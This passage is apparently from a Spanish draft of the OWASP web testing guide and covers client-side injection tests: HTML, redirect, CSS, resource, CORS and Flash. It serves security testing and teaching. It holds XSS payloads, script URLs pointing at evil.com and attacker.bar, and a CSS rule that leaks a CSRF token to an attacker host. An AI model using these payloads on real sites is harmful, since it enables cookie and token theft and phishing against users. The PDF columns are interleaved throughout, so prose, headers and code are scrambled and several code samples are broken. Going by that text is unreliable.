Esta vulnerabilidad se produce cuando el ingreso del usuario no está correctamente desinfectado y la salida no está codificada. Una inyección permite al atacante enviar una página HTML maliciosa a una víctima. El navegador de destino no será capaz de distinguir (confiar) entre la parte legítima y la maliciosa y, en consecuencia, analiza y ejecuta todo como confiable en el contexto de la víctima. Hay una amplia gama de métodos y atributos que podrían ser utilizados para representar el contenido HTML. Si a estos métodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, específicamente una inyección HTML. Se puede inyectar un código HTML malicioso, por ejemplo, mediante innerHTML, que se utiliza para representar el código HTML ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema llevaría a una inyección HTML basada en XSS. Otro método podría ser document.write()
Las pruebas de Caja Negra mediante inyección HTML normalmente no se realizan, puesto que el acceso al código fuente siempre está disponible y necesita ser enviado al cliente para su ejecución.
Pruebas de Caja Gris Probando las vulnerabilidades de inyección HTML: Por ejemplo, mirando el siguiente URL: http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS. La propiedad innerHTML establece o devuelve el código HTML interno de un elemento. La falta de desinfección en ingresos no confiables y la falta de codificación en los datos de salida podría permitir a un atacante inyectar código HTML malintencionado.
El código HTML contiene el siguente script: <script src=”../js/jquery-1.7.1.js”></script> <script>
Ejemplo de código vulnerable: El siguiente ejemplo muestra un fragmento de código vulnerable que permite que una entrada no validada sea utilizada para crear html dinámico en el contexto de la página:
function setMessage(){
var userposition=location.href.indexOf(“user=”);
$(“div[id=”+t+”]”).text(“The DOM is now loaded and can be manipulated.”);
var user=location.href.substring(userposition+5);
}
document.getElementById(“Welcome”).innerHTML=” Hello, “+user;
$(document).ready(setMessage );
var t=location.hash.slice(1);
$(window).bind(“hashchange”,setMessage) De la misma manera, en el siguiente ejemplo se muestra un código vulnerable mediante la función document.write():
</script> <body><script src=”../js/embed.js”></script>
var userposition=location.href.indexOf(“user=”); var user=location.href.substring(userposition+5); document.write(“<h1>Hello, “ + user +”</h1>”);
En ambos ejemplos, un ingreso como el siguiente : http://vulnerable.site/page.html?user=<img%20src=’aaa’%20onerror=alert(1) >
<span><a href=”#message” > Show Here</a><div id=”message”>Showing Message1</div></span> <span><a href=”#message1” > Show Here</a><div id=”message1”>Showing Message2</div> <span><a href=”#message2” > Show Here</a><div id=”message2”>Showing Message3</div> </body>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 298
Guia de pruebas 4.0 "Borrador"
Es posible inyectar código HTML.
La víctima que visita target.site será redireccionada automáticamente a un fake-target.site donde un atacante podría colocar una página falsa para robar las credenciales de la víctima.
Referencias Recursos OWASP • OWASP DOM based XSS Prevention Cheat Sheet
Además, también podrían utilizarse redireccionamientos abiertos para crear maliciosamente una URL que evite el control de acceso a la aplicación y luego envíe al atacante hacia funciones privilegiadas a las que normalmente no debería poder acceder.
• DOMXSS.com: domxss.com
Prueba de Caja Negra Libros Blancos • Browser location/document URI/URL Sources:
La prueba de Caja Negra para el redireccionamiento de URL del lado del cliente no suele realizarse ya que el acceso al código fuente siempre está disponible, y necesita enviarse al cliente para su ejecución.
code.google.com
Prueba de Caja Gris Pruebas de redireccionamiento de la URL del lado del cliente (OTGCLIENT-004)
Probando las vulnerabilidades de redireccionamiento de URL del lado del cliente:
Resumen Esta sección describe cómo comprobar el redireccionamiento de URL del lado cliente, también conocido como redirección abierta. Es un error de validación de entrada que se da cuando una aplicación acepta un ingreso controlado por el usuario, que especifica un enlace que lleva a una URL externa. Este tipo de vulnerabilidad podría utilizarse para realizar un ataque de phishing o redirigir a una víctima a una página de infección.
Cuando los evaluadores deben revisar manualmente esta vulnerabilidad, deben identificar si hay redireccionamientos implementados en el código del lado del cliente (por ejemplo en el código JavaScript).
Estas redirecciones podrían aplicarse, por ejemplo en JavaScript, utilizando el objeto de "window.location" que puede usarse para llevar al navegador a otra página asignando una cadena, como se puede ver en el siguiente fragmento de código.
Cómo probar var redir = location.hash.substring(1); Esta vulnerabilidad se produce cuando una aplicación acepta un ingreso no confiable que contiene un valor de URL sin desinfectar. Este valor de URL podría causar que la aplicación web redireccione al usuario a otra página como, por ejemplo, una página maliciosa controlada por el atacante.
if (redir)
Modificando la URL de entrada no confiable para redirigir a un usuario hacia un sitio malicioso, un atacante puede lanzar una estafa de phishing con éxito y robar las credenciales del usuario. Ya que la redirección se origina en la aplicación real, los intentos de phishing pueden tener un aspecto más confiable.
En el ejemplo anterior, la secuencia de comandos no realiza ninguna validación de la variable "redir" que contiene la entrada del usuario a través de la cadena de consulta y, al mismo tiempo, no se aplica ningún tipo de codificación. Esta entrada no validada se pasa a las ventanas. El objeto de localización origina una vulnerabilidad de redirección de URL.
Un ejemplo de un ataque de phishing puede ser el siguiente:
Esto implica que un atacante podría redirigir a la víctima hacia un sitio malicioso, simplemente enviando la siguiente cadena de consulta:
window.location=’http://’+decodeURIComponent(redir);
http://www.target.site?#redirect=www.fake-target.site http://www.victim.site/?#www.malicious.site
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 299
Guia de pruebas 4.0 "Borrador"
Resumen Note como si el código vulnerable es el siguiente: var redir = location.hash.substring(1); if (redir) window.location=decodeURIComponent(redir);
También sería posible inyectar código JavaScript, por ejemplo, al enviar la siguiente cadena de consulta: http://www.victim.site/?#javascript:alert(document.cookie)
Cuando trate de comprobar este tipo de problema, considere que algunos caracteres reciben un trato diferente en los distintos navegadores. Ademá,s siempre considere la posibilidad de probar variantes absolutas de direcciones URL como se describe aquí: kotowicz.net
Herramientas • DOMinator: dominator.mindedsecurity.com
Una vulnerabilidad de inyección de CSS implica la capacidad de inyectar código CSS arbitrario en el contexto de un sitio web de confianza que se mostrará en el navegador de la víctima. El impacto de esta vulnerabilidad puede variar en función de la carga CSS suministrada: podría causar un CrossSite Scripting en circunstancias particulares, al robar datos realizando una extracción de los datos confidenciales o modificaciones de la interfaz del usuario.
Cómo probar Esta vulnerabilidad se produce cuando la aplicación permite a un usuario suministrar CSS generado por el usuario o, si es posible, de alguna manera, interferir con las hojas de estilo legítimas. Inyectar código en el contexto CSS da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones, así como extraer los valores sensibles a través de selectores CSS y funciones capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de personalizar sus propias páginas personales mediante el uso de archivos CSS personalizados resulta un riesgo considerable y se debe evitar definitivamente.
El siguiente código JavaScript muestra un posible script vulnerable en el que el atacante puede controlar la "location.hash" (fuente) que alcanza a la función "cssText" (sink). Este caso en particular puede causar un DOMXSS en las versiones más antiguas de los navegadores, como Opera, Internet Explorer y Firefox. Para referencia, vea la Wiki de DOM XSS, sección "Estilo de sink". <a id=”a1”>Click me</a>
Referencias <script> OWASP Resources • OWASP DOM based XSS Prevention Cheat Sheet
if (location.hash.slice(1)) { document.getElementById(“a1”).style.cssText location.hash.slice(1);
• DOMXSS.com: domxss.com
=
“color:
“
+
} </script>
Libros Blancos • Browser location/document URI/URL Sources: code.google.com
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on the loose”: kotowicz.net
El atacante podría específicamente apuntar a la víctima pidiéndole que visite las siguientes direcciones URL:
• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-linksource:current; (Opera [8,12]) • www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
Pruebas de inyección de CSS (OTG-CLIENT-005)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 300
Guia de pruebas 4.0 "Borrador"
La misma vulnerabilidad puede aparecer en el caso típico de reflejo XSS en la que, por ejemplo, el código PHP se verá como el siguiente: <style> p{
Probando las vulnerabilidades de inyección CSS Se deben llevar a cabo pruebas manuales y analizar el código de JavaScript para entender si el atacante puede inyectar su propio contenido en el contexto de la CSS. En particular, debemos estar interesados en cómo el sitio web devuelve las reglas CSS en función de las entradas.
color: <?php echo $_GET[‘color’]; ?>; text-align: center;
El siguiente es un ejemplo básico:
}
<a id=”a1”>Click me</a>
</style>
<b>Hi</b> <script>
Algunos escenarios de ataque mucho más interesantes incluyen la posibilidad de extraer los datos mediante la adopción de reglas CSS puras. Este tipo de ataques puede realizarse a través de selectores CSS y direccionando al usuario, por ejemplo, si se toma fichas anti-CSRF, como a continuación. En particular, input[name=csrf_token][value=^a] representa un elemento con el atributo "name" ajustado con "csrf_token" y cuyo "value" (valor) de atributo comienza con "a". Mediante la detección de la longitud del atributo "value", es posible llevar a cabo un ataque de fuerza bruta contra este y enviar el valor al dominio del atacante. <style> input[name=csrf_token][value=^a] { background-image: url(http://attacker/log?a);
$(“a”).click(function(){ $(“b”).attr(“style”,”color: “ + location.hash.slice(1)); }); </script>
El código anterior contiene una fuente "location.hash" que es controlada por el atacante, quien puede inyectarlo directamente en el atributo "style" de un elemento HTML. Como se mencionó anteriormente, esto puede llevar a resultados diferentes basados en el navegador adoptado y la carga suministrada.
} </style>
Ataques mucho más modernos que utilizan una combinación de SVG, CSS y HTML5 han demostrado ser más viables, por lo tanto, le recomendamos consultar la sección de referencias para obtener más información.
Se recomienda que los evaluadores utilicen la función de jQuery css(property, value) en tales circunstancia,s como a continuación, ya que esto no permitiría ninguna inyección dañina. En general, recomendamos usar siempre una lista blanca de caracteres permitidos en cualquier momento que se refleje el ingreso en el contexto de la CSS. <a id=”a1”>Click me</a> <b>Hi</b>
Prueba de Caja Negra
<script> $(“a”).click(function(){
Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas de Caja Negra no suelen realizarse ya que el acceso al código fuente siempre está disponible, y necesita ser enviado al cliente para su ejecución. Sin embargo, puede suceder que al usuario se le dé un cierto grado de libertad para poder suministrar código HTML; en ese caso, es necesario comprobar si es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben prohibirse.
</script>
Prueba de Caja Gris
Referencias
$(“b”).css(“color”,location.hash.slice(1)); });
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 301
Guia de pruebas 4.0 "Borrador"
Recursos OWASP • OWASP DOM based XSS Prevention Cheat Sheet
Esta vulnerabilidad se produce cuando la aplicación emplea un URL controlado por el usuario para hacer referencia a recursos externos/internos. En estas circunstancias, es posible interferir con el comportamiento esperado de la aplicación, en el sentido de hacer que cargue y procese objetos maliciosos.
• DOMXSS Wiki: code.google.com
Presentaciones • DOM Xss Identification and Exploitation, Stefano Di Paola: dominator.googlecode.com
El siguiente código JavaScript muestra un posible script vulnerable en el que el atacante es capaz de controlar la "location.hash" (fuente) que alcanza al atributo "src" de un elemento script. Este ejemplo en particular obviamente lleva a un XSS, ya que un JavaScript externo podría ser fácilmente inyectado en el sitio web de confianza. <script> var d=document.createElement(“script”);
• Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich: youtube.com
if(location.hash.slice(1)) d.src = location.hash.slice(1); document.body.appendChild(d);
• Bypassing Content-Security-Policy, Alex Kouzemtchenko:
</script>
ruxcon.org
Prueba de conceptos
Específicamente el atacante podría apuntar a la víctima pidiéndole que visite la siguiente URL:
• Password “cracker” via CSS and HTML5: html5sec.org
www.victim.com/#http://evil.com/js.js
• CSS attribute reading: eaea.sirdarckcat.net
Donde js.js contiene: alert(document.cookie)
Pruebas de la manipulación de recursos del lado del cliente (OTGCLIENT-006) Resumen Una vulnerabilidad de manipulación de recursos del lado del cliente es un error de validación de los ingresos que se producen cuando una aplicación acepta las entradas controladas por un usuario que especifica la ruta hacia un recurso (por ejemplo, la fuente de un iframe, js, applet o el controlador de un XMLHttpRequest). Específicamente, esta vulnerabilidad consiste en la capacidad para controlar las direcciones URL que vinculan a algunos recursos presentes en una página web. El impacto puede variar en función del tipo de elemento de la URL controlada por el atacante y, generalmente, se adopta para llevar a cabo ataques fr Cross-Site Scripting.
Controlar las fuentes de scripts es un ejemplo básico, puesto que pueden ocurrir algunos otros casos interesantes y más sutiles. Un escenario generalizado implica la posibilidad de controlar la dirección URL con una solicitud CORS; puesto que CORS permite que el recurso de destino sea accesible por el dominio que lo solicita a través de un acercamiento basado en encabezados, entonces el atacante puede pedir a la página de destino que cargue contenido malicioso en su propio sitio web.
Refiérase al siguiente código vulnerable: <b id=”p”></b> <script>
Cómo probar
function createCORSRequest(method, url) {
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 302
Guia de pruebas 4.0 "Borrador"
var xhr = new XMLHttpRequest(); xhr.open(method, url, true);
Pruebas de Caja Gris
xhr.onreadystatechange = function () {
Probando las vulnerabilidades para la manipulación de recursos del cliente:
if (this.status == 200 && this.readyState == 4) { document.getElementById(‘p’).innerHTML = this.responseText; } };
Para comprobar manualmente este tipo de vulnerabilidad, tenemos que identificar si la aplicación utiliza entradas que no son validadas correctamente; éstas están bajo el control del usuario, quien podría especificar la url de algunos recursos. Puesto que hay muchos recursos que se podrían incluir en la aplicación (por ejemplo, imágenes, vídeo, objetos, CSS, marcos, etc.), los scripts a nivel del cliente que manejan las URL asociadas deben ser investigadas para detectar posibles problemas.
return xhr; } La siguiente tabla muestra los posibles puntos de inyección (sink) que deberían revisarse: var xhr = createCORSRequest(‘GET’, location.hash.slice(1)); xhr.send(null); </script>
La "location.hash" es controlada por el atacante y se utiliza para solicitar un recurso externo, el cual se refleja a través de la construcción de "innerHTML". Básicamente, el atacante podría pedir a la víctima que visite la siguiente dirección URL y, al mismo tiempo, él podría diseñar el controlador de carga útil.
Aproveche la URL: www.victim.com/#http://evil.com/html.html http://evil.com/html.html ----
Los puntos más interesantes son los que permiten a un atacante incluir el código del cliente (por ejemplo Javascript), ya que esto podría dar lugar a vulnerabilidades XSS.
<?php header(‘Access-Control-Allow-Origin: http://www.victim.com’); ?>
Cuando trate de comprobar este tipo de problema, considere que algunos caracteres son tratados de manera diferente por diferentes navegadores. Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes absolutas URL, como se describe aquí: http://kotowicz.net/absolute/
<script>alert(document.cookie);</script>
Herramientas Pruebas de Caja Negra Las pruebas de Caja Negra para la manipulación de recursos del cliente, por lo general, no se realizan, ya que el acceso al código fuente está siempre disponible puesto que tiene que ser enviado al cliente para ser ejecutado.
• DOMinator: dominator.mindedsecurity.com
Referencias
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 303
Guia de pruebas 4.0 "Borrador"
Recursos de OWASP
Basándose en el resultado de la solicitud de OPTIONS, el navegador decide si se permite o no la solicitud.
• OWASP DOM based XSS Prevention Cheat Sheet
Cómo probar • DOMXSS.com: domxss.com Origin & Access-Control-Allow-Origin
• DOMXSS TestCase: domxss.com
Libros Blancos • DOM XSS Wiki: code.google.com
• Krzysztof Kotowicz: “Local or Externo? ocal o externo? URL raro en formatos sueltos ": kotowicz.net
El encabezado Origin siempre se envía por el navegador en una solicitud CORS e indica el origen de la solicitud. El encabezado de origen no se puede cambiar desde JavaScript, aunque confiar en este encabezado para comprobar los accesos de control no es una buena idea, ya que puede ser falsificado fuera del navegador, por lo que aún se necesita comprobar que los protocolos del nivel de la aplicación se utilizan para proteger datos sensibles.
Access-Control-Allow-Origin es un encabezado de respuesta utilizado por el servidor para indicar qué dominios tienen permiso para leer la respuesta. En base a la especificación CORS W3, depende del cliente determinar y hacer cumplir la restricción si él tiene acceso a los datos de respuesta basados en este encabezado.
Pruebas para el intercambio el intercambio de recursos de origen cruzado (OTG-CLIENT-007) Resumen La prueba de intercambio de recursos de origen cruzado o CORS es un mecanismo que permite a un navegador web realizar peticiones de "cross-domain" que utiliza la API XMLHttpRequest L2 de una manera controlada. En el pasado, la API XMLHttpRequest L1 sólo permitía que las solicitudes se enviaran dentro del mismo origen, ya que estaba restringida por la política del mismo origen.
Las solicitudes de origen cruzado tienen un encabezado de origen que identifica el dominio que inicia la petición y siempre se envía al servidor. CORS define el protocolo a utilizar entre un navegador web y un servidor para determinar si se permite una solicitud de origen cruzado. Con el fin de lograr este objetivo, hay algunos encabezados HTTP que participan en este proceso,. que son compatibles con todos los navegadores que se detallan a continuación e incluyen:: Origen, Acceso-Control-SolicitudMétodo, Acceso-Control-Solicitud-Encabezados, Acceso-Control-PermisoOrigen, Acceso-Control-Permiso-Credenciales, Acceso-Control-PermisoMétodos, Acceso-Control-Permiso-Encabezados.
Desde una perspectiva de pruebas de penetración, usted debe buscar configuraciones inseguras, tales como, por ejemplo, usar un comodín '*' como el valor del encabezado Access-Control-Allow-Origin que significa que todos los dominios están permitidos. Otro ejemplo de configuraciones inseguras es cuando el servidor devuelve el encabezado de origen sin ninguna comprobación adicional, lo que puede conducir al acceso a datos sensibles. Tenga en cuenta que esta configuración es muy insegura y no es aceptable en términos generales, excepto en el caso de una API pública que está destinada a ser accesible para todos.
Método Access-Control-Request & MétodoAccess-Control-Allow El encabezado del Access-Control-Request-Method se utiliza cuando un navegador realiza una solicitud de verificación previa de OPTIONS y permite que el cliente indique el método para la solicitud final. Por otro lado, el Access-Control-Allow-Method es un encabezado de respuesta que utiliza el servidor para describir los métodos que los clientes están autorizados a utilizar.
Encabezados Access-Control-Request-Headers & Access-Control-Allow Los mandatos de especificación CORS para las solicitudes no simples, como por ejemplo las solicitudes que no sean GET o POST o las solicitudes que utilizan credenciales, deben enviar una solicitud previa de OPTIONS para comprobar si el tipo de solicitud tendrá un impacto negativo en los datos. La solicitud previa al mandato comprueba los métodos, los encabezados permitidos por el servidor y si se permiten las credenciales.
Estos dos encabezados se utilizan entre el navegador y el servidor para determinar qué encabezados se pueden utilizar para realizar una solicitud de origen cruzado.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 304
Guia de pruebas 4.0 "Borrador"
Access-Control-Allow-Credentials Este encabezado, como parte de una solicitud previa al mandato, indica que la solicitud definitiva puede incluir las credenciales de usuario.
Solicitud (note el encabezado de "Origen" :) GET http://attacker.bar/test.php HTTP/1.1 Host: attacker.bar
Validación de entradas La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una solicitud entre dominios mediante la API XHR para la compatibilidad en retrospectiva. Esto puede introducir vulnerabilidades de seguridad que en XHR L1 no estaban presentes. Los puntos interesantes del código para explotar serían las URL que son pasadas a XMLHttpRequest sin validación, especialmente si las direcciones absolutas URL son permitidas, ya que podrían conducir a la inyección del código. Del mismo modo, otras partes de la aplicación pueden ser explotadas si los datos de respuesta no se escapan y podemos controlarlos proporcionando los datos de entrada dados por el usuario.
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/CORSexample1.html Origin: http://example.foo Connection: keep-alive
Otros encabezados Hay otros encabezados involucrados como el de Access-Control-Max-Age que determina el tiempo en que una solicitud de verificación previa puede almacenar en caché en el navegador, o el de Access-Control-ExposeHeaders que indica qué encabezados son seguros para exponer a la API de una especificación API CORS. Ambos son encabezados de respuesta especificados en el documento del CORS W3C.
Respuesta (note el encabezado ‘Access-Control-Allow-Origin’:) HTTP/1.1 200 OK Date: Mon, 07 Oct 2013 18:57:53 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.4-14+deb7u3
Pruebas de Caja Negra
Access-Control-Allow-Origin: *
Las pruebas de Caja Negra para encontrar temas relacionados con el intercambio de recursos de origen cruzado, por lo general, no se realizan debido a que el acceso al código fuente está siempre disponible, ya que tiene que ser enviado al cliente para ser ejecutado.
Content-Length: 4 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: application/xml
Pruebas de Caja Gris Revise los encabezados HTTP con el fin de entender cómo se utiliza CORS; en particular, debemos estar muy interesados en el encabezado de origen para aprender qué dominios se permiten. Además, la inspección manual del JavaScript es necesaria para determinar si el código es vulnerable a la inyección de código debido a una manipulación incorrecta de la entrada proporcionada por el usuario. A continuación se presentan algunos ejemplos:
[Response Body]
Ejemplo 2: Problema de validación de entrada, XSS con CORS: Este código hace una solicitud al recurso enviado después del carácter # en la URL, utilizado inicialmente para obtener recursos en el mismo servidor.
Ejemplo 1: Respuesta insegura con el comodín '*' en Access-ControlAllow-Origin: Código vulnerable:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 305
Guia de pruebas 4.0 "Borrador"
<script>
var req = new XMLHttpRequest();
Ahora, ya que no hay una validación de la URL, se puede inyectar un script remoto, que se inyecta y se ejecutará en el contexto del example.foo domain, con una URL como ésta: http://example.foo/main.php#http://attacker.bar/file.php
req.onreadystatechange = function() { Por ejemplo, una petición como ésta mostrará el contenido del archivo profile.php:
Solicitud y respuesta generada por esta URL: GET http://attacker.bar/file.php HTTP/1.1
http://example.foo/main.php#profile.php Host: attacker.bar
Solicitud y respuesta generada por esta URL:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
GET http://example.foo/profile.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: example.foo
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Referer: http://example.foo/main.php Origin: http://example.foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: keep-alive Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/main.php HTTP/1.1 200 OK Connection: keep-alive Date: Mon, 07 Oct 2013 19:00:32 GMT Server: Apache/2.2.22 (Debian) HTTP/1.1 200 OK X-Powered-By: PHP/5.4.4-14+deb7u3 Date: Mon, 07 Oct 2013 18:20:48 GMT Access-Control-Allow-Origin: * Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding X-Powered-By: PHP/5.3.3-7+squeeze17 Content-Length: 92 Vary: Accept-Encoding Keep-Alive: timeout=15, max=100 Content-Length: 25 Connection: Keep-Alive Keep-Alive: timeout=15, max=99 Content-Type: text/html Connection: Keep-Alive Content-Type: text/html
Injected Content from attacker.bar <img src=”#” onerror=”alert(‘Domain: ‘+document.domain)”>
[Response Body]
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 306
Guia de pruebas 4.0 "Borrador"
particular, dado que las aplicaciones Flash a menudo se incrustan en los navegadores, las vulnerabilidades como las basadas en DOM para CrossSite Scripting (XSS) podrían estar presentes en las aplicaciones Flash defectuosas.
Cómo probar Desde la primera publicación de "Probando las aplicaciones Flash" [1], las nuevas versiones de Flash Player se publicaron con el fin de mitigar algunos de los ataques que se describirán. Sin embargo, algunas cuestiones todavía son aprovechables, ya que son el resultado de prácticas inseguras de programación. Herramientas • OWASP Zed Attack Proxy (ZAP): owasp.org
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que le permiten encontrar vulnerabilidades de seguridad de forma manual.
Descompilación Dado que los archivos SWF son interpretados por una máquina virtual integrada en el propio reproductor, estos pueden ser potencialmente descompilados y analizados. El descompilador más conocido y gratuito de ActionScript 2.0 es flare.
Para descompilar un archivo SWF con flare solo escriba: $ flare hello.swf
Referencias lo que dará lugar a un nuevo archivo llamado hello.flr. Recursos OWASP • OWASP HTML5 Security Cheat Sheet: owasp.org Libros Blancos • W3C - CORS W3C Specification: w3.org
Prueba de Cross-site flashing (OTG-CLIENT-008) Resumen ActionScript es el lenguaje basado en ECMAScript, usado por las aplicaciones Flash cuando maneja necesidades interactivas. Hay tres versiones del lenguaje ActionScript. ActionScript 1.0 y ActionScript 2.0 son muy similares con ActionScript 2.0 que es una extensión de ActionScript 1.0. ActionScript 3.0, introducido con Flash Player 9, es una reescritura del lenguaje para apoyar el diseño orientado por objetos.
ActionScript, como cualquier otro lenguaje, tiene algunos patrones de implementación que podrían llevar a problemas de seguridad. En
La descompilación ayuda a los evaluadores, ya que permite realizar pruebas de las aplicaciones Flash asistidas por el código fuente o de Caja Blanca. La herramienta gratuita SWFScan de HP puede descompilar tanto ActionScript 2.0 como ActionScript 3.0.
El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de desensambladores, descompiladores y otras herramientas de prueba relacionadas con Adobe Flash.
Las variables indefinidas FlashVars FlashVars son las variables que el desarrollador SWF planificó recibir desde la página web. Las FlashVars normalmente se pasan desde el objeto o la etiqueta incorporada dentro de HTML. Por ejemplo: <object width=”550” height=”400” classid=”clsid:D27CDB6E-AE6D-11cf96B8-444553540000”
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 307
Guia de pruebas 4.0 "Borrador"
codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swfla sh.cab#version=9,0,124,0”>
#initclip if (!_global.Locale) {
<param name=”movie” value=”somefilename.swf”> var v1 = function (on_load) { <param name=”FlashVars” value=”var1=val1&var2=val2”> var v5 = new XML(); <embed src=”somefilename.swf” FlashVars=”var1=val1&var2=val2”>
width=”550”
height=”400”
</embed>
var v6 = this; v5.onLoad = function (success) { if (success) {
</object> Las FlashVars también se pueden inicializar desde la URL:
trace(‘Locale loaded xml’);
http://www.example.org/somefilename.swf?var1=val1&var2=val2
var v3 = this.xliff.file.body.$trans_unit; var v2 = 0;
En ActionScript 3.0, un desarrollador debe asignar explícitamente los valores FlashVar a las variables locales. Por lo general, esto se ve como:
while (v2 < v3.length) { Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters; ++v2; var var1:String = String(paramObj[“var1”]); } var var2:String = String(paramObj[“var2”]); on_load(); } else {} En ActionScript 2.0, cualquier variable global no inicializada se asume como una variable de Flash. Las variables globales son aquellas variables que se anteponen con _root, _global o _level0. Esto significa que si un atributo como:
}; if (_root.language != undefined) {
_root.varname
Locale.DEFAULT_LANG = _root.language; }
es indefinido a lo largo del flujo del código, se podría sobrescribir configurando v5.load(Locale.DEFAULT_LANG + ‘/player_’ + http://victim/file.swf?varname=value Locale.DEFAULT_LANG + ‘.xml’); }; Independientemente de si usted está viendo ActionScript 2.0 o ActionScript 3.0, las variables de Flash pueden ser un vector de ataque. Veamos una parte del código ActionScript 2.0 que es vulnerable:
El código anterior podría ser atacado mediante la solicitud: http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Ejemplo: movieClip 328 __Packages.Locale { Métodos inseguros
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 308
Guia de pruebas 4.0 "Borrador"
Cuando se identifica un punto de entrada, los datos que representa podrían ser utilizados por métodos inseguros. Si los datos no se filtran/validan usando la expresión regexp correcta, estos podrían conducir a algún problema de seguridad.
XSS GetURL (AS2) / NavigateToURL (AS3):
Los métodos inseguros desde la versión r47 son:
La función GetURL de ActionScript 2.0 y NavigateToURL en ActionScript 3.0 permite que la película cargue un URI en la ventana del navegador.
loadVariables() loadMovie()
Así que si una variable indefinida se utiliza como el primer argumento para getURL:
getURL() getURL(_root.URI,’_targetFrame’); loadMovie() loadMovieNum() FScrollPane.loadScrollContent()
o si un FlashVar se utiliza como el parámetro que se envía a una función navigateToURL:
LoadVars.load
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
LoadVars.send
navigateToURL(request);
XML.load ( ‘url’ ) LoadVars.load ( ‘url’ )
Entonces esto significará que es posible llamar a JavaScript en el mismo dominio en el que la película está alojada, solicitando:
Sound.loadSound( ‘url’ , isStreaming ); http://victim/file.swf?URI=javascript:evilcode NetStream.play( ‘url’ );
getURL(‘javascript:evilcode’,’_self’); flash.external.ExternalInterface.call(_root.callback) Lo mismo pasa cuando solamente se controla una parte de getURL: htmlText
La prueba Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar alojado en el host de la víctima, y se deben utilizar las técnicas de XSS reflejado. Eso obliga al navegador a cargar un archivo SWF puro directamente en la barra de direcciones (mediante una redirección o ingeniería social) o cargándolo a través de un iframe desde una página maligna; <iframe src=’http://victim/path/to/file.swf’></iframe>
Dom Injection with Flash JavaScript injection
getUrl(‘javascript:function(‘+_root.arg+’))
asfunction: Se puede utilizar el protocolo especial asfunction para que el enlace ejecute una función ActionScript en un archivo SWF en lugar de abrir una URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction podía ser utilizada en cada método que tiene una URL como argumento. Después de ese lanzamiento, asfunction se limita al uso dentro de un campo de texto HTML.
Esto se debe a que en esta situación el navegador autogenera una página HTML como si fuera invitada por el host de la víctima.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 309
Guia de pruebas 4.0 "Borrador"
Esto significa que un evaluador podría intentar inyectar: asfunction:getURL,javascript:evilcode
Así que, si alguna parte del texto puede ser controlada por el evaluador, una etiqueta A o una etiqueta IMG podría inyectarse, lo que resultaría en la modificación de la GUI o del uso de XSS en el navegador.
en cada método inseguro como:
Algunos ejemplos de ataque con una etiqueta A:
loadMovie(_root.URL)
• Direct XSS: <a href=’javascript:alert(123)’ >
solicitando:
• Call a function: <a href=’asfunction:function,arg’ >
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode • Call SWF public functions: ExternalInterface:
<a href=’asfunction:_root.obj.function, arg’>
ExternalInterface.call es un método estático introducido por Adobe para mejorar la interacción jugador/navegador con ActionScript 2.0 y ActionScript 3.0.
• Call native static as function:
Desde el punto de vista de seguridad, podría ser objeto de abuso si parte de su argumento puede ser controlado:
La etiqueta IMG podría ser utilizada también: <img src=’http://evil/evil.swf’ >
flash.external.ExternalInterface.call(_root.callback); <img src=’javascript:evilcode//.swf’ > (.swf is necessary to bypass flash player internal filter) El patrón de ataque para este tipo de defecto podría ser algo como lo siguiente: eval(evilcode)
Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS ya no es explotable, pero la modificación GUI todavía se puede lograr.
